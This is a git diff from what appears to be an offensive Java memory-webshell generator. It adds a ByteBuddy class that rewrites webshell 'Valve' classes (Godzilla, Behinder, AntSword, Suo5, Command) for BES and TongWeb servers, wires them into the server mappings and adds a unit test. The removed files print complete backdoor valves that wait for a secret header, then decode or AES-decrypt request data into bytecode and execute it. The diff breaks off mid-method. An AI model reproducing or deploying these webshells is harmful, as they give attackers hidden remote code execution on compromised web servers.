diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/generator/ValveGenerator.java b/generator/src/main/java/com/reajason/javaweb/memshell/generator/ValveGenerator.java new file mode 100644 index 00000000..d472655b --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/generator/ValveGenerator.java @@ -0,0 +1,135 @@ +package com.reajason.javaweb.memshell.generator; + +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordValve; +import com.reajason.javaweb.memshell.shelltool.behinder.BehinderValve; +import com.reajason.javaweb.memshell.shelltool.command.CommandValve; +import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaValve; +import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Valve; +import com.reajason.javaweb.memshell.utils.CommonUtil; +import com.tongweb.web.thor.comet.CometEvent; +import com.tongweb.web.thor.connector.Request; +import com.tongweb.web.thor.connector.Response; +import net.bytebuddy.ByteBuddy; +import net.bytebuddy.asm.AsmVisitorWrapper; +import net.bytebuddy.description.field.FieldDescription; +import net.bytebuddy.description.field.FieldList; +import net.bytebuddy.description.method.MethodList; +import net.bytebuddy.description.modifier.Visibility; +import net.bytebuddy.description.type.TypeDescription; +import net.bytebuddy.dynamic.DynamicType; +import net.bytebuddy.dynamic.loading.ClassLoadingStrategy; +import net.bytebuddy.implementation.FixedValue; +import net.bytebuddy.implementation.Implementation; +import net.bytebuddy.jar.asm.ClassVisitor; +import net.bytebuddy.jar.asm.commons.ClassRemapper; +import net.bytebuddy.jar.asm.commons.Remapper; +import net.bytebuddy.pool.TypePool; +import org.jetbrains.annotations.NotNull; + +/** + * @author ReaJason + * @since 2025/2/22 + */ +public class ValveGenerator { + + public static final String CATALINA_VALVE_PACKAGE = "org.apache.catalina"; + public static final String BES_VALVE_PACKAGE = "com.bes.enterprise.webtier"; + public static final String TONGWEB6_VALVE_PACKAGE = "com.tongweb.web.thor"; + public static final String TONGWEB7_VALVE_PACKAGE = "com.tongweb.catalina"; + + public static class ValveRenameVisitorWrapper implements AsmVisitorWrapper { + private final String newPackageName; + + public ValveRenameVisitorWrapper(String newPackageName) { + this.newPackageName = newPackageName.replace('.', '/'); + } + + @Override + public int mergeReader(int flags) { + return flags; + } + + @Override + public int mergeWriter(int flags) { + return flags; + } + + @NotNull + @Override + public ClassVisitor wrap(@NotNull TypeDescription instrumentedType, + @NotNull ClassVisitor classVisitor, + @NotNull Implementation.Context implementationContext, + @NotNull TypePool typePool, + @NotNull FieldList fields, + @NotNull MethodList methods, + int writerFlags, + int readerFlags) { + return new ClassRemapper( + classVisitor, + new Remapper() { + @Override + public String map(String typeName) { + String packageName = CATALINA_VALVE_PACKAGE.replace(".", "/"); + if (typeName.startsWith(packageName)) { + return typeName.replace(packageName, newPackageName); + } else { + return typeName; + } + } + }); + } + } + + public static Class generateValveClass(String packageName, ShellTool shellTool) { + Class targetClass = null; + switch (shellTool) { + case Suo5: + targetClass = Suo5Valve.class; + break; + case Godzilla: + targetClass = GodzillaValve.class; + break; + case Behinder: + targetClass = BehinderValve.class; + break; + case AntSword: + targetClass = AntSwordValve.class; + break; + case Command: + targetClass = CommandValve.class; + break; + default: + throw new IllegalArgumentException("Unknown shell tool: " + shellTool); + } + String newClassName = targetClass.getName() + CommonUtil.getRandomString(5); + + DynamicType.Builder builder = new ByteBuddy() + .redefine(targetClass) + .name(newClassName) + .visit(new ValveRenameVisitorWrapper(packageName)); + + if (TONGWEB6_VALVE_PACKAGE.equals(packageName)) { + builder = builder + .defineMethod("getInfo", String.class, Visibility.PUBLIC) + .intercept(FixedValue.value("")) + .defineMethod("event", void.class, Visibility.PUBLIC) + .withParameters(Request.class, Response.class, CometEvent.class) + .intercept(FixedValue.originType()); + } + + + try (DynamicType.Unloaded unloaded = builder.make()) { + return unloaded.load(ValveGenerator.class.getClassLoader(), ClassLoadingStrategy.Default.WRAPPER_PERSISTENT).getLoaded(); + } + } + + private static Class generateClass(String className) { + try (DynamicType.Unloaded unloaded = new ByteBuddy() + .subclass(Object.class) + .name(className) + .make()) { + return unloaded.load(ValveGenerator.class.getClassLoader(), ClassLoadingStrategy.Default.WRAPPER_PERSISTENT).getLoaded(); + } + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/server/BesShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/server/BesShell.java index 320ff3ac..700d7433 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/server/BesShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/server/BesShell.java @@ -1,13 +1,9 @@ package com.reajason.javaweb.memshell.server; import com.reajason.javaweb.memshell.ShellTool; -import com.reajason.javaweb.memshell.bes.antsword.AntSwordValve; -import com.reajason.javaweb.memshell.bes.behinder.BehinderValve; -import com.reajason.javaweb.memshell.bes.command.CommandValve; -import com.reajason.javaweb.memshell.bes.godzilla.GodzillaValve; import com.reajason.javaweb.memshell.bes.injector.*; -import com.reajason.javaweb.memshell.bes.suo5.Suo5Valve; import com.reajason.javaweb.memshell.generator.ListenerGenerator; +import com.reajason.javaweb.memshell.generator.ValveGenerator; import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter; import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor; import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter; @@ -42,7 +38,7 @@ public class BesShell extends AbstractShell { addToolMapping(ShellTool.Command, ToolMapping.builder() .addShellClass(FILTER, CommandFilter.class) .addShellClass(LISTENER, ListenerGenerator.generateListenerShellClass(TomcatShell.ListenerInterceptor.class, ShellTool.Command)) - .addShellClass(VALVE, CommandValve.class) + .addShellClass(VALVE, ValveGenerator.generateValveClass(ValveGenerator.BES_VALVE_PACKAGE, ShellTool.Command)) .addShellClass(AGENT_FILTER_CHAIN, CommandFilterChainAdvisor.class) .addShellClass(CATALINA_AGENT_CONTEXT_VALVE, CommandFilterChainAdvisor.class) .build()); @@ -50,7 +46,7 @@ public class BesShell extends AbstractShell { addToolMapping(ShellTool.Godzilla, ToolMapping.builder() .addShellClass(FILTER, GodzillaFilter.class) .addShellClass(LISTENER, ListenerGenerator.generateListenerShellClass(TomcatShell.ListenerInterceptor.class, ShellTool.Godzilla)) - .addShellClass(VALVE, GodzillaValve.class) + .addShellClass(VALVE, ValveGenerator.generateValveClass(ValveGenerator.BES_VALVE_PACKAGE, ShellTool.Godzilla)) .addShellClass(AGENT_FILTER_CHAIN, GodzillaFilterChainAdvisor.class) .addShellClass(CATALINA_AGENT_CONTEXT_VALVE, GodzillaFilterChainAdvisor.class) .build()); @@ -58,7 +54,7 @@ public class BesShell extends AbstractShell { addToolMapping(ShellTool.Behinder, ToolMapping.builder() .addShellClass(FILTER, BehinderFilter.class) .addShellClass(LISTENER, ListenerGenerator.generateListenerShellClass(TomcatShell.ListenerInterceptor.class, ShellTool.Behinder)) - .addShellClass(VALVE, BehinderValve.class) + .addShellClass(VALVE, ValveGenerator.generateValveClass(ValveGenerator.BES_VALVE_PACKAGE, ShellTool.Behinder)) .addShellClass(AGENT_FILTER_CHAIN, BehinderFilterChainAdvisor.class) .addShellClass(CATALINA_AGENT_CONTEXT_VALVE, BehinderFilterChainAdvisor.class) .build()); @@ -66,7 +62,7 @@ public class BesShell extends AbstractShell { addToolMapping(ShellTool.Suo5, ToolMapping.builder() .addShellClass(FILTER, Suo5Filter.class) .addShellClass(LISTENER, ListenerGenerator.generateListenerShellClass(TomcatShell.ListenerInterceptor.class, ShellTool.Suo5)) - .addShellClass(VALVE, Suo5Valve.class) + .addShellClass(VALVE, ValveGenerator.generateValveClass(ValveGenerator.BES_VALVE_PACKAGE, ShellTool.Suo5)) .addShellClass(AGENT_FILTER_CHAIN, BehinderFilterChainAdvisor.class) .addShellClass(CATALINA_AGENT_CONTEXT_VALVE, BehinderFilterChainAdvisor.class) .build()); @@ -74,7 +70,7 @@ public class BesShell extends AbstractShell { addToolMapping(ShellTool.AntSword, ToolMapping.builder() .addShellClass(FILTER, AntSwordFilter.class) .addShellClass(LISTENER, ListenerGenerator.generateListenerShellClass(TomcatShell.ListenerInterceptor.class, ShellTool.AntSword)) - .addShellClass(VALVE, AntSwordValve.class) + .addShellClass(VALVE, ValveGenerator.generateValveClass(ValveGenerator.BES_VALVE_PACKAGE, ShellTool.AntSword)) .addShellClass(AGENT_FILTER_CHAIN, AntSwordFilterChainAdvisor.class) .addShellClass(CATALINA_AGENT_CONTEXT_VALVE, AntSwordFilterChainAdvisor.class) .build()); diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/server/GlassFishShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/server/GlassFishShell.java index c392a90d..e5ad3426 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/server/GlassFishShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/server/GlassFishShell.java @@ -1,7 +1,6 @@ package com.reajason.javaweb.memshell.server; import com.reajason.javaweb.memshell.ShellTool; -import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.memshell.generator.ListenerGenerator; import com.reajason.javaweb.memshell.glassfish.injector.GlassFishFilterInjector; import com.reajason.javaweb.memshell.glassfish.injector.GlassFishListenerInjector; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/server/InforSuiteShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/server/InforSuiteShell.java index 30a56df1..00550d92 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/server/InforSuiteShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/server/InforSuiteShell.java @@ -1,7 +1,6 @@ package com.reajason.javaweb.memshell.server; import com.reajason.javaweb.memshell.ShellTool; -import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.memshell.generator.ListenerGenerator; import com.reajason.javaweb.memshell.glassfish.injector.GlassFishListenerInjector; import com.reajason.javaweb.memshell.glassfish.injector.GlassFishValveInjector; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/server/JbossShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/server/JbossShell.java index b2f92514..d3c8f014 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/server/JbossShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/server/JbossShell.java @@ -1,7 +1,6 @@ package com.reajason.javaweb.memshell.server; import com.reajason.javaweb.memshell.ShellTool; -import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.memshell.generator.ListenerGenerator; import com.reajason.javaweb.memshell.jboss.injector.JbossFilterInjector; import com.reajason.javaweb.memshell.jboss.injector.JbossListenerInjector; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/server/TomcatShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/server/TomcatShell.java index 3b6c66b8..9083d931 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/server/TomcatShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/server/TomcatShell.java @@ -1,7 +1,6 @@ package com.reajason.javaweb.memshell.server; import com.reajason.javaweb.memshell.ShellTool; -import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.memshell.generator.ListenerGenerator; import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter; import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/server/TongWeb6Shell.java b/generator/src/main/java/com/reajason/javaweb/memshell/server/TongWeb6Shell.java index e0990b1d..789c5c10 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/server/TongWeb6Shell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/server/TongWeb6Shell.java @@ -1,8 +1,8 @@ package com.reajason.javaweb.memshell.server; import com.reajason.javaweb.memshell.ShellTool; -import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.memshell.generator.ListenerGenerator; +import com.reajason.javaweb.memshell.generator.ValveGenerator; import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter; import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor; import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter; @@ -12,12 +12,7 @@ import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter; import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor; import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter; -import com.reajason.javaweb.memshell.tongweb.antsword.AntSwordValve6; -import com.reajason.javaweb.memshell.tongweb.behinder.BehinderValve6; -import com.reajason.javaweb.memshell.tongweb.command.CommandValve6; -import com.reajason.javaweb.memshell.tongweb.godzilla.GodzillaValve6; import com.reajason.javaweb.memshell.tongweb.injector.*; -import com.reajason.javaweb.memshell.tongweb.suo5.Suo5Valve6; import static com.reajason.javaweb.memshell.ShellType.*; @@ -45,56 +40,61 @@ public class TongWeb6Shell extends AbstractShell { protected void init() { Class commandListenerClass = ListenerGenerator.generateListenerShellClass(TomcatShell.ListenerInterceptor.class, ShellTool.Command); + Class commandValveClass = ValveGenerator.generateValveClass(ValveGenerator.TONGWEB6_VALVE_PACKAGE, ShellTool.Command); addToolMapping(ShellTool.Command, ToolMapping.builder() .addShellClass(FILTER, CommandFilter.class) .addShellClass(JAKARTA_FILTER, CommandFilter.class) .addShellClass(LISTENER, commandListenerClass) .addShellClass(JAKARTA_LISTENER, commandListenerClass) - .addShellClass(VALVE, CommandValve6.class) - .addShellClass(JAKARTA_VALVE, CommandValve6.class) + .addShellClass(VALVE, commandValveClass) + .addShellClass(JAKARTA_VALVE, commandValveClass) .addShellClass(AGENT_FILTER_CHAIN, CommandFilterChainAdvisor.class) .addShellClass(CATALINA_AGENT_CONTEXT_VALVE, CommandFilterChainAdvisor.class) .build()); Class godzillaListenerClass = ListenerGenerator.generateListenerShellClass(TomcatShell.ListenerInterceptor.class, ShellTool.Godzilla); + Class godzillaValveClass = ValveGenerator.generateValveClass(ValveGenerator.TONGWEB6_VALVE_PACKAGE, ShellTool.Godzilla); addToolMapping(ShellTool.Godzilla, ToolMapping.builder() .addShellClass(FILTER, GodzillaFilter.class) .addShellClass(JAKARTA_FILTER, GodzillaFilter.class) .addShellClass(LISTENER, godzillaListenerClass) .addShellClass(JAKARTA_LISTENER, godzillaListenerClass) - .addShellClass(VALVE, GodzillaValve6.class) - .addShellClass(JAKARTA_VALVE, GodzillaValve6.class) + .addShellClass(VALVE, godzillaValveClass) + .addShellClass(JAKARTA_VALVE, godzillaValveClass) .addShellClass(AGENT_FILTER_CHAIN, GodzillaFilterChainAdvisor.class) .addShellClass(CATALINA_AGENT_CONTEXT_VALVE, GodzillaFilterChainAdvisor.class) .build()); Class behinderListenerClass = ListenerGenerator.generateListenerShellClass(TomcatShell.ListenerInterceptor.class, ShellTool.Behinder); + Class behinderValveClass = ValveGenerator.generateValveClass(ValveGenerator.TONGWEB6_VALVE_PACKAGE, ShellTool.Behinder); addToolMapping(ShellTool.Behinder, ToolMapping.builder() .addShellClass(FILTER, BehinderFilter.class) .addShellClass(JAKARTA_FILTER, BehinderFilter.class) .addShellClass(LISTENER, behinderListenerClass) .addShellClass(JAKARTA_LISTENER, behinderListenerClass) - .addShellClass(VALVE, BehinderValve6.class) - .addShellClass(JAKARTA_VALVE, BehinderValve6.class) + .addShellClass(VALVE, behinderValveClass) + .addShellClass(JAKARTA_VALVE, behinderValveClass) .addShellClass(AGENT_FILTER_CHAIN, BehinderFilterChainAdvisor.class) .addShellClass(CATALINA_AGENT_CONTEXT_VALVE, BehinderFilterChainAdvisor.class) .build()); Class suo5ListenerClass = ListenerGenerator.generateListenerShellClass(TomcatShell.ListenerInterceptor.class, ShellTool.Suo5); + Class suo5ValveClass = ValveGenerator.generateValveClass(ValveGenerator.TONGWEB6_VALVE_PACKAGE, ShellTool.Suo5); addToolMapping(ShellTool.Suo5, ToolMapping.builder() .addShellClass(FILTER, Suo5Filter.class) .addShellClass(JAKARTA_FILTER, Suo5Filter.class) .addShellClass(LISTENER, suo5ListenerClass) .addShellClass(JAKARTA_LISTENER, suo5ListenerClass) - .addShellClass(VALVE, Suo5Valve6.class) - .addShellClass(JAKARTA_VALVE, Suo5Valve6.class) + .addShellClass(VALVE, suo5ValveClass) + .addShellClass(JAKARTA_VALVE, suo5ValveClass) .build()); Class antSwordListenerClass = ListenerGenerator.generateListenerShellClass(TomcatShell.ListenerInterceptor.class, ShellTool.AntSword); + Class antSwordValveClass = ValveGenerator.generateValveClass(ValveGenerator.TONGWEB6_VALVE_PACKAGE, ShellTool.AntSword); addToolMapping(ShellTool.AntSword, ToolMapping.builder() .addShellClass(FILTER, AntSwordFilter.class) .addShellClass(LISTENER, antSwordListenerClass) - .addShellClass(VALVE, AntSwordValve6.class) + .addShellClass(VALVE, antSwordValveClass) .addShellClass(AGENT_FILTER_CHAIN, AntSwordFilterChainAdvisor.class) .addShellClass(CATALINA_AGENT_CONTEXT_VALVE, AntSwordFilterChainAdvisor.class) .build()); diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/server/TongWeb7Shell.java b/generator/src/main/java/com/reajason/javaweb/memshell/server/TongWeb7Shell.java index 368fde71..6a9c83ca 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/server/TongWeb7Shell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/server/TongWeb7Shell.java @@ -1,8 +1,8 @@ package com.reajason.javaweb.memshell.server; import com.reajason.javaweb.memshell.ShellTool; -import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.memshell.generator.ListenerGenerator; +import com.reajason.javaweb.memshell.generator.ValveGenerator; import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter; import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor; import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter; @@ -12,12 +12,7 @@ import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter; import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor; import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter; -import com.reajason.javaweb.memshell.tongweb.antsword.AntSwordValve7; -import com.reajason.javaweb.memshell.tongweb.behinder.BehinderValve7; -import com.reajason.javaweb.memshell.tongweb.command.CommandValve7; -import com.reajason.javaweb.memshell.tongweb.godzilla.GodzillaValve7; import com.reajason.javaweb.memshell.tongweb.injector.*; -import com.reajason.javaweb.memshell.tongweb.suo5.Suo5Valve7; import static com.reajason.javaweb.memshell.ShellType.*; @@ -26,6 +21,7 @@ import static com.reajason.javaweb.memshell.ShellType.*; * @since 2024/12/27 */ public class TongWeb7Shell extends AbstractShell { + @Override protected InjectorMapping getShellInjectorMapping() { return InjectorMapping.builder() @@ -44,56 +40,61 @@ public class TongWeb7Shell extends AbstractShell { protected void init() { Class commandListenerClass = ListenerGenerator.generateListenerShellClass(TomcatShell.ListenerInterceptor.class, ShellTool.Command); + Class commandValveClass = ValveGenerator.generateValveClass(ValveGenerator.TONGWEB7_VALVE_PACKAGE, ShellTool.Command); addToolMapping(ShellTool.Command, ToolMapping.builder() .addShellClass(FILTER, CommandFilter.class) .addShellClass(JAKARTA_FILTER, CommandFilter.class) .addShellClass(LISTENER, commandListenerClass) .addShellClass(JAKARTA_LISTENER, commandListenerClass) - .addShellClass(VALVE, CommandValve7.class) - .addShellClass(JAKARTA_VALVE, CommandValve7.class) + .addShellClass(VALVE, commandValveClass) + .addShellClass(JAKARTA_VALVE, commandValveClass) .addShellClass(AGENT_FILTER_CHAIN, CommandFilterChainAdvisor.class) .addShellClass(CATALINA_AGENT_CONTEXT_VALVE, CommandFilterChainAdvisor.class) .build()); Class godzillaListenerClass = ListenerGenerator.generateListenerShellClass(TomcatShell.ListenerInterceptor.class, ShellTool.Godzilla); + Class godzillaValveClass = ValveGenerator.generateValveClass(ValveGenerator.TONGWEB7_VALVE_PACKAGE, ShellTool.Godzilla); addToolMapping(ShellTool.Godzilla, ToolMapping.builder() .addShellClass(FILTER, GodzillaFilter.class) .addShellClass(JAKARTA_FILTER, GodzillaFilter.class) .addShellClass(LISTENER, godzillaListenerClass) .addShellClass(JAKARTA_LISTENER, godzillaListenerClass) - .addShellClass(VALVE, GodzillaValve7.class) - .addShellClass(JAKARTA_VALVE, GodzillaValve7.class) + .addShellClass(VALVE, godzillaValveClass) + .addShellClass(JAKARTA_VALVE, godzillaValveClass) .addShellClass(AGENT_FILTER_CHAIN, GodzillaFilterChainAdvisor.class) .addShellClass(CATALINA_AGENT_CONTEXT_VALVE, GodzillaFilterChainAdvisor.class) .build()); Class behinderListenerClass = ListenerGenerator.generateListenerShellClass(TomcatShell.ListenerInterceptor.class, ShellTool.Behinder); + Class behinderValveClass = ValveGenerator.generateValveClass(ValveGenerator.TONGWEB7_VALVE_PACKAGE, ShellTool.Behinder); addToolMapping(ShellTool.Behinder, ToolMapping.builder() .addShellClass(FILTER, BehinderFilter.class) .addShellClass(JAKARTA_FILTER, BehinderFilter.class) .addShellClass(LISTENER, behinderListenerClass) .addShellClass(JAKARTA_LISTENER, behinderListenerClass) - .addShellClass(VALVE, BehinderValve7.class) - .addShellClass(JAKARTA_VALVE, BehinderValve7.class) + .addShellClass(VALVE, behinderValveClass) + .addShellClass(JAKARTA_VALVE, behinderValveClass) .addShellClass(AGENT_FILTER_CHAIN, BehinderFilterChainAdvisor.class) .addShellClass(CATALINA_AGENT_CONTEXT_VALVE, BehinderFilterChainAdvisor.class) .build()); Class suo5ListenerClass = ListenerGenerator.generateListenerShellClass(TomcatShell.ListenerInterceptor.class, ShellTool.Suo5); + Class suo5ValveClass = ValveGenerator.generateValveClass(ValveGenerator.TONGWEB7_VALVE_PACKAGE, ShellTool.Suo5); addToolMapping(ShellTool.Suo5, ToolMapping.builder() .addShellClass(FILTER, Suo5Filter.class) .addShellClass(JAKARTA_FILTER, Suo5Filter.class) .addShellClass(LISTENER, suo5ListenerClass) .addShellClass(JAKARTA_LISTENER, suo5ListenerClass) - .addShellClass(VALVE, Suo5Valve7.class) - .addShellClass(JAKARTA_VALVE, Suo5Valve7.class) + .addShellClass(VALVE, suo5ValveClass) + .addShellClass(JAKARTA_VALVE, suo5ValveClass) .build()); Class antSwordListenerClass = ListenerGenerator.generateListenerShellClass(TomcatShell.ListenerInterceptor.class, ShellTool.AntSword); + Class antSwordValveClass = ValveGenerator.generateValveClass(ValveGenerator.TONGWEB7_VALVE_PACKAGE, ShellTool.Command); addToolMapping(ShellTool.AntSword, ToolMapping.builder() .addShellClass(FILTER, AntSwordFilter.class) .addShellClass(LISTENER, antSwordListenerClass) - .addShellClass(VALVE, AntSwordValve7.class) + .addShellClass(VALVE, antSwordValveClass) .addShellClass(AGENT_FILTER_CHAIN, AntSwordFilterChainAdvisor.class) .addShellClass(CATALINA_AGENT_CONTEXT_VALVE, AntSwordFilterChainAdvisor.class) .build()); diff --git a/generator/src/test/java/com/reajason/javaweb/memshell/generator/ValveGeneratorTest.java b/generator/src/test/java/com/reajason/javaweb/memshell/generator/ValveGeneratorTest.java new file mode 100644 index 00000000..dfeb67a0 --- /dev/null +++ b/generator/src/test/java/com/reajason/javaweb/memshell/generator/ValveGeneratorTest.java @@ -0,0 +1,32 @@ +package com.reajason.javaweb.memshell.generator; + +import com.reajason.javaweb.memshell.ShellTool; +import net.bytebuddy.jar.asm.ClassReader; +import net.bytebuddy.jar.asm.ClassVisitor; +import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.Test; + +import java.io.InputStream; + +import static org.junit.jupiter.api.Assertions.assertEquals; + +/** + * @author ReaJason + * @since 2025/2/22 + */ +class ValveGeneratorTest { + + @Test + void test() throws Exception { + Class clazz = ValveGenerator.generateValveClass(ValveGenerator.BES_VALVE_PACKAGE, ShellTool.Command); + InputStream resourceAsStream = clazz.getClassLoader().getResourceAsStream(clazz.getName().replace('.', '/') + ".class"); + assert resourceAsStream != null; + ClassReader cr = new ClassReader(resourceAsStream); + cr.accept(new ClassVisitor(Opcodes.ASM9) { + @Override + public void visit(int version, int access, String name, String signature, String superName, String[] interfaces) { + assertEquals("com/bes/enterprise/webtier/Valve", interfaces[0]); + } + }, 0); + } +} \ No newline at end of file diff --git a/memshell/src/main/java/com/bes/enterprise/webtier/Valve.java b/memshell/src/main/java/com/bes/enterprise/webtier/Valve.java index d9f1a9ce..780062cd 100644 --- a/memshell/src/main/java/com/bes/enterprise/webtier/Valve.java +++ b/memshell/src/main/java/com/bes/enterprise/webtier/Valve.java @@ -2,8 +2,9 @@ package com.bes.enterprise.webtier; import com.bes.enterprise.webtier.connector.Request; import com.bes.enterprise.webtier.connector.Response; -import java.io.IOException; + import javax.servlet.ServletException; +import java.io.IOException; public interface Valve { Valve getNext(); diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/bes/antsword/AntSwordValve.java b/memshell/src/main/java/com/reajason/javaweb/memshell/bes/antsword/AntSwordValve.java deleted file mode 100644 index 2852dbcd..00000000 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/bes/antsword/AntSwordValve.java +++ /dev/null @@ -1,88 +0,0 @@ -package com.reajason.javaweb.memshell.bes.antsword; - -import com.bes.enterprise.webtier.Valve; -import com.bes.enterprise.webtier.connector.Request; -import com.bes.enterprise.webtier.connector.Response; - -import javax.servlet.ServletException; -import java.io.IOException; - -/** - * @author ReaJason - * @since 2025/02/18 - */ -public class AntSwordValve extends ClassLoader implements Valve { - public static String pass; - public static String headerName; - public static String headerValue; - protected Valve next; - protected boolean asyncSupported; - - public AntSwordValve() { - } - - public AntSwordValve(ClassLoader z) { - super(z); - } - - @SuppressWarnings("all") - public static byte[] base64Decode(String bs) { - byte[] value = null; - Class base64; - try { - base64 = Class.forName("java.util.Base64"); - Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); - value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); - } catch (Exception var6) { - try { - base64 = Class.forName("sun.misc.BASE64Decoder"); - Object decoder = base64.newInstance(); - value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); - } catch (Exception var5) { - } - } - return value; - } - - @SuppressWarnings("all") - public Class g(byte[] cb) { - return super.defineClass(cb, 0, cb.length); - } - - @Override - public Valve getNext() { - return this.next; - } - - @Override - public void setNext(Valve valve) { - this.next = valve; - } - - @Override - public boolean isAsyncSupported() { - return this.asyncSupported; - } - - @Override - public void backgroundProcess() { - } - - @Override - @SuppressWarnings("all") - public void invoke(Request request, Response response) throws IOException, ServletException { - try { - if (request.getHeader(headerName) != null - && request.getHeader(headerName).contains(headerValue)) { - byte[] bytes = base64Decode(request.getParameter(pass)); - Object instance = (new AntSwordValve(this.getClass().getClassLoader())).g(bytes).newInstance(); - instance.equals(new Object[]{request, response}); - } else { - this.getNext().invoke(request, response); - } - } catch (Exception e) { - e.printStackTrace(); - this.getNext().invoke(request, response); - } - } -} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/bes/behinder/BehinderValve.java b/memshell/src/main/java/com/reajason/javaweb/memshell/bes/behinder/BehinderValve.java deleted file mode 100644 index ab796520..00000000 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/bes/behinder/BehinderValve.java +++ /dev/null @@ -1,133 +0,0 @@ -package com.reajason.javaweb.memshell.bes.behinder; - -import com.bes.enterprise.webtier.Valve; -import com.bes.enterprise.webtier.connector.Request; -import com.bes.enterprise.webtier.connector.Response; - -import javax.crypto.Cipher; -import javax.crypto.spec.SecretKeySpec; -import javax.servlet.ServletException; -import javax.servlet.http.HttpServletResponse; -import javax.servlet.http.HttpSession; -import java.io.IOException; -import java.lang.reflect.Field; -import java.util.HashMap; -import java.util.Map; - -/** - * @author ReaJason - * @since 2024/12/21 - */ -public class BehinderValve extends ClassLoader implements Valve { - public static String pass; - public static String headerName; - public static String headerValue; - protected Valve next; - protected boolean asyncSupported; - - public BehinderValve() { - } - - public BehinderValve(ClassLoader z) { - super(z); - } - - @SuppressWarnings("all") - public static byte[] base64Decode(String bs) { - byte[] value = null; - Class base64; - try { - base64 = Class.forName("java.util.Base64"); - Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); - value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); - } catch (Exception var6) { - try { - base64 = Class.forName("sun.misc.BASE64Decoder"); - Object decoder = base64.newInstance(); - value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); - } catch (Exception var5) { - } - } - return value; - } - - @SuppressWarnings("all") - public Class g(byte[] cb) { - return super.defineClass(cb, 0, cb.length); - } - - @Override - public Valve getNext() { - return this.next; - } - - @Override - public void setNext(Valve valve) { - this.next = valve; - } - - @Override - public boolean isAsyncSupported() { - return this.asyncSupported; - } - - @Override - public void backgroundProcess() { - } - - @Override - @SuppressWarnings("all") - public void invoke(Request request, Response response) throws IOException, ServletException { - try { - if (request.getHeader(headerName) != null - && request.getHeader(headerName).contains(headerValue)) { - HttpSession session = request.getSession(); - Map obj = new HashMap(3); - obj.put("request", request); - obj.put("response", getInternalResponse(response)); - obj.put("session", session); - session.setAttribute("u", this.pass); - Cipher c = Cipher.getInstance("AES"); - c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES")); - byte[] bytes = c.doFinal(base64Decode(request.getReader().readLine())); - Object instance = (new BehinderValve(this.getClass().getClassLoader())).g(bytes).newInstance(); - instance.equals(obj); - } else { - this.getNext().invoke(request, response); - } - } catch (Exception e) { - e.printStackTrace(); - this.getNext().invoke(request, response); - } - } - - public HttpServletResponse getInternalResponse(HttpServletResponse response) { - while (true) 